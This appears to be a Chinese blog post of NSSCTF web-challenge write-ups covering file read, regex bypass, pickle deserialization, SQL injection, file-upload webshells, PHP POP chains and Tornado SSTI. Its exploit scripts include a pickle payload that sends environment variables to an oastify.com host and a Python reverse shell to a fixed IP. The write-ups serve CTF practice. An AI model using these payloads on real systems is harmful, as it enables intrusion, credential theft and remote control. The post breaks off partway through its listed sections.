目录

  1. 1. 前言
  2. 2. [安洵杯 2019]easy_web
  3. 3. [NCTF 2018]Easy_Audit
  4. 4. [FBCTF 2019]rceservice
    1. 4.1. 法一:换行绕过
    2. 4.2. 法二:PCRE回溯
  5. 5. [NCTF 2018]全球最大交友网站
  6. 6. [FSCTF 2023]巴巴托斯!
  7. 7. prize_p2
    1. 7.1. 打/hint
    2. 7.2. 打/getflag
      1. 7.2.1. 读fd目录
      2. 7.2.2. 绕过setTimeout
  8. 8. [HZNUCTF 2023 preliminary]pickle
    1. 8.1. 非预期
    2. 8.2. 预期
      1. 8.2.1. 法一:pyjail
      2. 8.2.2. 法二:exec套娃
  9. 9. [WUSTCTF 2020]颜值成绩查询
    1. 9.1. 联合注入法
    2. 9.2. 盲注法
  10. 10. [SWPUCTF 2022 新生赛]file_master
  11. 11. [NSSRound#1 Basic]sql_by_sql
    1. 11.1. 二次注入
    2. 11.2. 布尔盲注
      1. 11.2.1. 手工
      2. 11.2.2. sqlmap
  12. 12. [羊城杯 2020]easyser
  13. 13. [suctf 2019]checkin
  14. 14. [UUCTF 2022 新生赛]ezpop
  15. 15. [护网杯 2018]easy_tornado
  16. 16. [UUCTF 2022 新生赛]ezrce
  17. 17. [FSCTF 2023]是兄弟,就来传你の🐎!
  18. 18. [FSCTF 2023]寻找蛛丝马迹

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

NSSCTF web 刷题记录3

2023/11/21 Web 刷题 NSS
  |     |   总文章阅读量:

前言

刷题3rd,第13、14页


[安洵杯 2019]easy_web

任意文件读取+md5强比较+rce

进入题目,一眼/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=存在任意文件读取,读取的文件名好像存在编码,先解码看看

image-20231121123650395

可以知道套了一层hex,两层base64,那我们用同样的方式编码index.php,然后读取index.php

image-20231121123929025

打开读取的图像,base64解码一下内容

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

审计代码,可以知道这里不让我们直接读flag,然后要满足md5强比较才能执行命令,而且命令执行的cmd参数部分过滤了大量的命令

md5强比较这里不能用数组,直接掏出传家宝(

a=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&b=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2

至于如何读取flag,这里ban掉了常见的读取命令,也ban了od,看了一下没ban反斜杠

那么可以用反斜杠绕过关键词的过滤

cmd=l\s /

也可以用sort命令直接读取sort /flag


[NCTF 2018]Easy_Audit

PHP特性

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');
    }
}

?>

审计下代码,

  • 先看底下的判断部分:

    首先要满足substr($_GET['yulige'], 32) === md5($_GET['yulige']

    这个只需要用数组返回false即可绕过

    然后是preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'

    我们知道preg_match存在换行解析漏洞%0a可以绕过

    然后是读取文件匹配字符串,直接用data伪协议即可,然后就能得到flag

  • 现在我们回来看上面对$_SERVER的解析的waf,要匹配的是$_SERVER['QUERY_STRING']即get请求中?参数后的原始内容

    这个用url编码即可绕过

  • 而对$_REQUEST的解析waf会把请求中的键值进行匹配,这里是会过滤字母

    但是$_REQUEST有个特性就是当GET和POST有相同的变量时,会优先匹配POST的变量,所以这里只要在POST请求再用同样的变量名传一个不是字母的值就行

最终payload:

GET: ?%79%75%6C%69%67%65[]=&%6E%63%74%66=%6E%63%74%66%69%73%66%75%6E%0a&%66%6C%61%67=data://text/plain,ccc_liubi
POST: yulige=1&nctf=2&flag=1

[FBCTF 2019]rceservice

正则绕过

<html>
  <body>
    <h1>Web Adminstration Interface</h1>

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

    <form>
      Enter command as JSON:
      <input name="cmd" />
    </form>
  </body>
</html>

首先把环境变量的目录设置在/home/rceservice/jail,应该是用来限制我们能直接使用的命令

然后给了一个能命令执行的框,我们输入的命令会以json的形式传入,那根据代码的要求,大概的json格式就是这样:{"cmd":"ls"}

但是正则匹配ban掉了大量的命令,那么这里有两种方法

法一:换行绕过

这里的正则匹配规则是/^.*( ).*$/,很明显能用%0a进行绕过

同时要保持json格式,所以我们的payload为

{%0a"cmd":"ls /home/rceservice/jail"%0a}

此时json解析后的格式就是

{                       // 只匹配这行
    "cmd""ls /home/rceservice/jail"
}

传入payload,发现jail下只有ls一个命令,那我们需要用/bin/cat来调用cat命令读取

测试发现flag在/home/rceservice下

所以最终的payload:

?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

法二:PCRE回溯

这个就不多说了,直接上exp,注意get请求有长度限制,所以这里要用post请求

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28398/", data={"cmd":payload})
print(res.text)

[NCTF 2018]全球最大交友网站

git

进入题目,据说原题这里进去是index2.html的时钟,然后结合题目名称指的github,猜测是git泄露

image-20231124101847544

这里用GitHack来dump

python GitHack.py -u http://node4.anna.nssctf.cn:28810/.git

只得到一个README.md

Allsource files areingit tag1.0

告诉我们真正的源码内容在tag1.0版本中,那么怎么从泄露的.git目录反提取出1.0的源码?

这里的git操作和原理要参考p神的一篇文章:https://www.leavesongs.com/PENETRATION/XDCTF-2015-WEB2-WRITEUP.html

而我们可以用工具scrabble来dump当前这个网址/.git/下的文件,nss上的这题貌似源码都在a.zip里面了

./scrabble http://node4.anna.nssctf.cn:28810/

image-20231124104804149

然后在dump下来的文件夹里用git的命令来查看日志历史

git log

image-20231124105225476

可以看到有过三次 commit,当前 head 指向 hint 这次 commit

直接用git show命令显示这次commit提交的详细信息

git show	# 显示最新提交的详细信息
git show 6b21737b	# 根据哈希显示特定提交的详细信息
git show master		# 根据分支名称显示特定提交的详细信息
git show <commit> <filename>	# 显示特定文件的提交详细信息

image-20231124105347008

这里的flag是假的,我们再show上一次hello的commit修改内容

image-20231124110020977

得到真正的flag

另外的解法:

  • 这里也可以用git reset指令回滚版本来得到flag

    git reset --hard 02b7f44320ac0ec69e954ab39f627b1e13d1d362

    得到readme.txt,即flag

    git reset –-soft:回退到某个版本,只回退了commit的信息,不会恢复到index file一级。如果还要提交,直接commit即可

    git reset -–hard:彻底回退到某个版本,本地的源码也会变为上一个版本的内容,撤销的commit中所包含的更改被冲掉

  • 也可以用Git_Extract一把梭

    python git_extract.py http://node4.anna.nssctf.cn:28810/.git/

    这个会把每个版本的内容都dump下来,简直是神(


[FSCTF 2023]巴巴托斯!

http+任意文件读取

  1. Access Denied! I love FSCTF Browser
  2. Access Denied! Are you local man?

满足上面这两个条件,然后就能进行任意文件读取了

image-20231124111252315

flag在flag.php,直接用伪协议读

index.php?file=php://filter/read=convert.base64-encode/resource=flag.php

base64解码即可


prize_p2

nodejs setTimeout整型溢出+proc文件读取

进入题目,直接给源码了

const { randomBytes } = require('crypto');
const express = require('express');
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
    fs.read(fd, flag, 0, 44, 0, () => {
        fs.rm(fp, () => {});
    });
});

app.get('/', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
});

app.get('/hint', function (req, res) {
    res.send(flag.toString().slice(0, randomBytes(1)[0]%32));
})

// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    try {
        let a = req.query.a;
        if (a === randomBytes(3).toString()) {
            res.send(fs.readFileSync(req.query.b));
        } else {
            const t = setTimeout(() => {
                res.send(fs.readFileSync(req.query.b));
            }, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);
        }
    } catch {
        res.send('?');
    }
})

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

审计一下代码,

/hint路由下,会截取flag的一部分输出,起始位置为0,结束位置为生成的随机数在0到31之间的值,也就是说最多输出32位的flag

/getflag路由下,先会调用a方法把flag文件删除,然后存在任意文件读取参数b,而且需要经过setTimeout,拿传入的get参数c的值和86400*1000比较,如果比那个数大,就设置为参数c的延迟,否则就为86400*1000,要等上一天

打/hint

我们先看hint路由,burpsuite抓包尝试爆破

image-20231125130921412

很好,果然只出了前32位的flag,还差8位,直接爆破平台(bushi

打/getflag

读fd目录

首先进入之后我们的flag文件已经被删掉了

但是这里的操作是

const a = fs.open(fp, 'r', (err, fd) => {
    fs.read(fd, flag, 0, 44, 0, () => {
        fs.rm(fp, () => {});
    });
});

在flag文件打开之后没关闭就直接删除了flag文件

那么在/proc这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容

至于对应的文件描述符是多少,我们依旧需要爆破,但是土豆/getflag路由经不起bp这么嗯爆,环境会炸,手动挡请

绕过setTimeout

然后是绕过setTimeout,setTimeout是使用Int32来存储延时参数值的,也就是说最大的延时值是2^31-1。 一旦超过了最大值,其效果就跟延时值为0的情况一样

image-20231125131712427

所以令延时参数c为2147483648,即可实现延时为0

最终payload:

/getflag?b=/proc/self/fd/18&c=2147483648

[HZNUCTF 2023 preliminary]pickle

进入题目,直接给源码

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0')

一眼pickle库,明显是pickle反序列化,给了一个有pickle.loads的/calc路由和一个能任意读文件的/readFile路由

非预期

有一个/readFile的路由,我们尝试读一下环境变量

/readFile?filename=/proc/self/environ

image-20231126104420864

很好,flag到手了

预期

法一:pyjail

要在/calc路由下进行pickle反序列化,但是过滤了os

问题不大,当成pyjail来做就行

直接__import__('o'+'s')字符串拼接绕过即可

注意/calc路由只return "ganbadie!",说明是无回显,我们需要写文件把结果带外

生成opcode:

import pickle  
import base64  
  
class opcode(object):  
    def __reduce__(self):  
        return eval,("__import__('o'+'s').system('ls /|tee 1')",)  
  
a=opcode()  
print(pickle.dumps(a))  
print(base64.b64encode(pickle.dumps(a)))

然后在/readFile路由读取即可

flag在环境变量,那就执行env然后结果带外即可

法二:exec套娃

思路来源于春哥:https://www.nssctf.cn/note/set/1691

大概思路就是用exec,里面的命令套一次base64编码

无回显带外exp:

import os
import pickle
import base64

actual_payload = '''
import os
os.system('curl -X POST -d "fizz=`env`" 7pxk4y4uyxnonsq8lok7mnygm7sxgm.oastify.com')
'''
encoded_payload = base64.b64encode(actual_payload.encode()).decode()

class RCE:
    def __reduce__(self):
        cmd = f'import base64; exec(base64.b64decode("{encoded_payload}"));'
        return exec, (cmd,)

a = RCE()
payload = base64.b64encode(pickle.dumps(a))

print(payload)
#my_raw = base64.b64decode(payload)
#print(my_raw)

#pickle.loads(base64.b64decode(payload).replace(b'os', b''))
  • curl带外

    image-20231126112929531

  • 反弹shell

    把actual_payload改为

    import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("115.236.153.170",57746));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

    题目环境里没有nc,所以不能直接system调用nc弹shell

    image-20231126113232196


[WUSTCTF 2020]颜值成绩查询

黑盒sql注入

进入题目,给了个查询框,明显是要我们注入,注入点在get请求的stunum参数上

先测试一下闭合方式,数字型注入1--的时候有回显

然后测试一下万能密码1 or 1 = 1--,返回student number not exists.

猜测存在过滤,我们尝试绕过一下,先尝试1/**/or/**/1/**/=1--

成功回显,说明过滤了空格

测试字段数

1/**/order/**/by/**/3--

测到4时返回student number not exists.,说明字段有三个

联合注入法

然后尝试联合注入

-1/**/union/**/select/**/1,2,3--

返回student number not exists.,猜测仍然存在过滤,尝试大小写绕过,成功

-1/**/Union/**/selEct/**/1,2,3--

image-20231127105440607

爆表名

-1/**/Union/**/sElect/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()--

得到flag,score

列名

-1/**/Union/**/sElect/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'--

得到flag,value

字段

-1/**/Union/**/sElect/**/1,2,group_concat(flag,'--',value)/**/from/**/flag--

flag在value字段里面

盲注法

(ascii(substr(database(),1,1))>32) 返回1的结果
(ascii(substr(database(),1,1))<127) 返回0的结果

exp: from https://www.nssctf.cn/note/set/976

import requests
url = "http://1.14.71.254:28953/?stunum="

result = ""
i = 0

while( True ):
    i = i + 1 
    high=32
    low=127

    while( high < low ):
        mid = (high + low) // 2

        payload = "(ascii(substr(database(),%d,1))>%d)" % (i , mid)
        #payload = "(ascii(substr((sElect/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i , mid)
        #payload = "(ascii(substr((sElect/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d)" % (i , mid)
        # payload = "(ascii(substr((sElect(group_concat(value))from/**/flag),%d,1))>%d)"%(i,mid)
        r = requests.get(url+payload)
        r.encoding = "utf-8"
        if "Hi admin" in r.text :
            high = mid + 1
        else:
            low = mid

    last = result

    if high!=32:
        result += chr(high)
    else:
        break
    print(result)

[SWPUCTF 2022 新生赛]file_master

文件上传

给了个查看文件和上传文件的功能

尝试读/flag,发现设置了open_basedir

那么我们先查看一下index.php

<?php
    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
                if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>

审计一下,

限制条件:检测MIME类型是否为image/jpeg,检测图片文件头,限制图片宽度,检测文件内容是否存在php

那么只要改Content-Type,文件头加GIF89a,短标签绕过过滤;值得一提的是宽度,这里居然只需要用#define提前定义一下宽高就行了

payload:

Content-Type: image/jpeg

#define height 1
#define width 1
GIF89a
<?= eval($_POST['cmd']);?>

image-20231128130055851

然后就getshell了

image-20231128130118002


[NSSRound#1 Basic]sql_by_sql

二次注入+盲注

二次注入

进入题目,给了个注册和登录的功能,结合题目名称猜测存在二次注入

测试一下,发现有个admin账号,那我们先随便注册个号进去看看,发现一个修改密码的功能

点击,ctrl+u在页面源码处发现hint

update user set password='%s' where username='%s';

那么我们可以对username进行二次注入,实现对admin密码的修改

先注册一个admin'-- 的用户,然后修改其密码,此时sql语句就变成了

update user set password='%s' where username='admin'--';

那么就实现了对admin的密码修改

登录admin

image-20231129111854126

给了个查询用户的功能,抓个包看一下接口

image-20231129112352292

测试一下正常输入,只回显exist或者no user

尝试万能密码1'or 1=1#的时候报错了,测试一下发现是#不能作为注释符了,那么可以得知数据库不是mysql

猜测这里是sqlite,特点是用数据表进行查询发现不会报错

布尔盲注

手工

sqlite的盲注判断语句为1 and 1=2,没有引号闭合也没有注释

sqlite中有一个类似information_schema功能的表sqlite_master

其中有五个字段

  • type:记录项目的类型,如table、index、view、trigger
  • name:记录项目的名称,如表名、索引名等
  • tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身
  • rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL
  • sql:记录创建该项目的SQL语句

所以我们可以利用select name from sqlite_master where type='table' limit 1,1语句来获取表名

注:sqlite中没有ascii()函数,所以我们盲注时需要直接和字符比较

查询的语法:

1 and substr((select name from sqlite_master where type='table' limit 1,1),1,1)='a'
select sql from sqlite_master where type='table' and name = 'flag'
select flag from flag

exp:

import requests
import time
import string

str = string.ascii_letters + string.digits + "{}|-~,"
# print(str)
print(string.printable)
url = "http://node4.anna.nssctf.cn:28352/query"
s = requests.session()
flag = ""
headers = {'Cookie': "session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWatCQ.M6bw04OrEUllrClJjpO11QowmWI"}

for i in range(0, 100):
    for x in str:
        data = {
            # 'id': "1 and substr((select name from sqlite_master where type='table' limit {},1),1,1)='{}'".format(i,x),
            'id': "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, x)
        }
        res = s.post(url=url, data=data,headers=headers)
        # print(data)
        # print(res.status_code)
        # time.sleep(0.1)
        if "exist" in res.text:
            flag += x
            print(flag)
            break
    if chr == '%':
        break

sqlmap

sqlmap一把梭,好像要带上cookie

python3 sqlmap.py -u "node4.anna.nssctf.cn:28352/query" --data="id=1" --cookie="eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.ZWatCQ.M6bw04OrEUllrClJjpO11QowmWI" -T flag -C flag --dump

[羊城杯 2020]easyser

ssrf+反序列化+绕过死亡exit

试图用termux做题(

dirsearch扫一下

image-20231130111809359

发现robots.txt

访问,提示我们star1.php

访问star1.php

image-20231130112031632

明显存在ssrf,f12发现hint:小胖说用个不安全的协议从我家才能进ser.php呢!

那么我们就给path传入http://127.0.0.1/ser.php

得到源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}

?>

审一下,明显是构造反序列化pop链,还有死亡die绕过

目标是Yongen::hasakifile_put_contents写马,用伪协议写马进去

链子:GWHT::__toString() -> Yongen::hasaki()

死亡代码die这里算一下只有13个字符会参与base64,那么我们要补3个字符

exp:

<?php
class GWHT
{
    public $hero;
}

class Yongen
{
    public $file = "php://filter/write=convert.base64-decode/resource=1.php";
    public $text = "aaaPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=";
}

$a = new GWHT();
$a->hero = new Yongen();
echo serialize($a);

接下来就是这题最抽象的点了,要传入参数是啥。。。

这里用arjun爆破,但是我的arjun只爆出path。。。

看别人能爆出参数c

然后把我们的payload作为参数c的值传入,getshell即可


[suctf 2019]checkin

.user.ini文件上传

进入题目,直接给了我们个文件上传的功能

随便上传个图片马,发现会检测<?,可以用短标签绕过

然后发现会检测后缀,这里考虑用.user.ini上传进行包含

发现会检测文件头,加个GIF89a

image-20231203132835888

接下来直接传png后缀的图片马,注意短标签和文件头

image-20231203132959224

然后访问对应目录下的index.php文件,getshell

image-20231203134000226

做这题的时候速度一定要快,服务器那边会重置上传的文件,然后掉马


[UUCTF 2022 新生赛]ezpop

反序列化引用绕过+字符串逃逸

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}
?>

链子:nothing::__destruct -> output::__tostring -> youwant::rce

首先是nothing::__destruct,明显需要进行引用绕过往$a里面写入new output()来调用__toString方法

触发了__toString之后就能进入rce,rce里面直接就能命令执行了

exp:

<?php
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output
{
    public $a;
}
class nothing
{
    public $a;
    public $b;
    public $t;
}
class youwant
{
    public $cmd="system('tac flag.php');";
}
$a=new nothing();
$a->a=&$a->b;
$a->t=new output();
$a->t->a=new youwant();
echo serialize($a);
// O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:23:"system('tac flag.php');";}}}

接下来看下面反序列化的部分,我们传进去上面的序列化字符串之后会先调用UUCTF类进行反序列化之后再次进行序列化的操作,

但是这里要注意一点,UUCTF类中只有$this->key==="UUCTF"内部才会进行反序列化

但是key和basedata的值我们不可控,而name的值我们可控,所以这里要用到字符串逃逸,题目给的逃逸数为增加1位

base64_encode一下,看一下我们的原始序列化字符串

image-20231206000203538

得到O:5:"UUCTF":4:{s:4:"name";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ3RhYyBmbGFnLnBocCcpOyI7fX19";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

再令key为UUCTF看看

得到O:5:"UUCTF":4:{s:4:"name";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ3RhYyBmbGFnLnBocCcpOyI7fX19";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}

那么要字符串逃逸的目标就是增加我们传入的要base64解码的字符串的长度来顶掉";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;},换成";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}(此时序列化识别的依旧是s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ3RhYyBmbGFnLnBocCcpOyI7fX19"

最终exp:

<?php
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
    if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output
{
    public $a;
}
class nothing
{
    public $a;
    public $b;
    public $t;
}
class youwant
{
    public $cmd="system('tac flag.php');";
}
$a=new nothing();
$a->a=&$a->b;
$a->t=new output();
$a->t->a=new youwant();
$basedata = base64_encode(serialize($a));
$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';// 要添加的字符串
$payload = '';
$hacker = '';
for($i=0;$i<strlen($data);$i++)
    $hacker.='hacker';
$payload = $hacker.$data;
echo $payload;

还是感觉讲不明白。。。


[护网杯 2018]easy_tornado

tornado模板注入

进入题目,给了三个路由,点一下发现存在任意文件读取的路由/file?filename=&filehash=

回到主页读一下几个路由

/flag.txt:flag in /fllllllllllllag

尝试直接读flag,会跳转到/error?msg=Error返回error,应该是filehash不对

/welcome.txt:render

结合题目可以知道这题用了tornado模板

/hints.txt:md5(cookie_secret+md5(filename))

猜测是filehash的计算方式

那么我们接下来就要想办法获取cookie_secret的值,猜测在环境变量里

综合一下我们上面的信息,猜测在/error?msg=Error处存在ssti

image-20231206174102796

测试一下{{7*7}},返回ORZ,应该是有过滤

我们直接尝试读环境变量{{handler.settings}},得到cookie_secret

image-20231206174217597

接下来就是带着这个cookie_secret去md5加密我们的文件名了

/fllllllllllllag的md5值是3bf9f6cf685a6dd8defadabfb41a03a1,拼接到cookie_secret的后面再md5加密一次

然后带到filehash读/fllllllllllllag就行了


[UUCTF 2022 新生赛]ezrce

无回显rce + 长度限制

